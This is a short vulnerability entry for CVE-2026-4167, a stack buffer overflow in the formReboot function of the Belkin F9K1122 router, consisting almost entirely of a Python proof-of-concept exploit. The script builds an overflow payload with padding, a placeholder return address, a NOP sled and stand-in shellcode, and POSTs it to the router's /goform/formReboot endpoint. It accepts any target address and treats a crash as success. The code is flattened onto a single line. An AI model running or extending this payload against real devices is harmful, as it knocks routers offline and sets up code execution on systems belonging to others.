CVE-2026-4167 Belkin F9K1122 路由器 formReboot 函数栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-4167 PoC - Belkin F9K1122 formReboot Stack Buffer Overflow Note: This PoC is for educational and security research purposes only. Unauthorized access to systems without permission is illegal. """ import requests import sys TARGET = "http://192.168.1.1" # Router IP address TARGET_URL = f"{TARGET}/goform/formReboot" def create_exploit_payload(): """ Create malicious payload for stack buffer overflow Adjust payload based on target firmware analysis """ # Buffer overflow payload - may need adjustment based on target # NOP sled + shellcode + return address overwrite padding = b"A" * 1000 # Overflow length - adjust based on analysis # Example: Overwrite return address with jump instruction return_address = b"\x42\x42\x42\x42" # Placeholder - need to find correct address # NOP sled for reliability nop_sled = b"\x90" * 100 # Minimal shellcode for demonstration (executes /bin/sh or calc) # This is a placeholder - use appropriate shellcode for target architecture shellcode = b"\xcc" * 50 # INT3 breakpoint for testing payload = padding + return_address + nop_sled + shellcode return payload def exploit(): """Send exploit payload to vulnerable endpoint""" print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Generating exploit payload...") payload = create_exploit_payload() # Construct request data data = { "webpage": payload.decode('latin-1'), # Send as form parameter "submit_button": "Reboot" } try: print("[*] Sending exploit request...") response = requests.post(TARGET_URL, data=data, timeout=10) print(f"[!] Response status: {response.status_code}") print(f"[!] Router may be rebooting or crashed") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") if "Connection" in str(e): print("[+] Target may have crashed - exploit successful") if __name__ == "__main__": print("CVE-2026-4167 PoC - Educational Use Only") if len(sys.argv) > 1: TARGET = sys.argv[1] TARGET_URL = f"{TARGET}/goform/formReboot" exploit()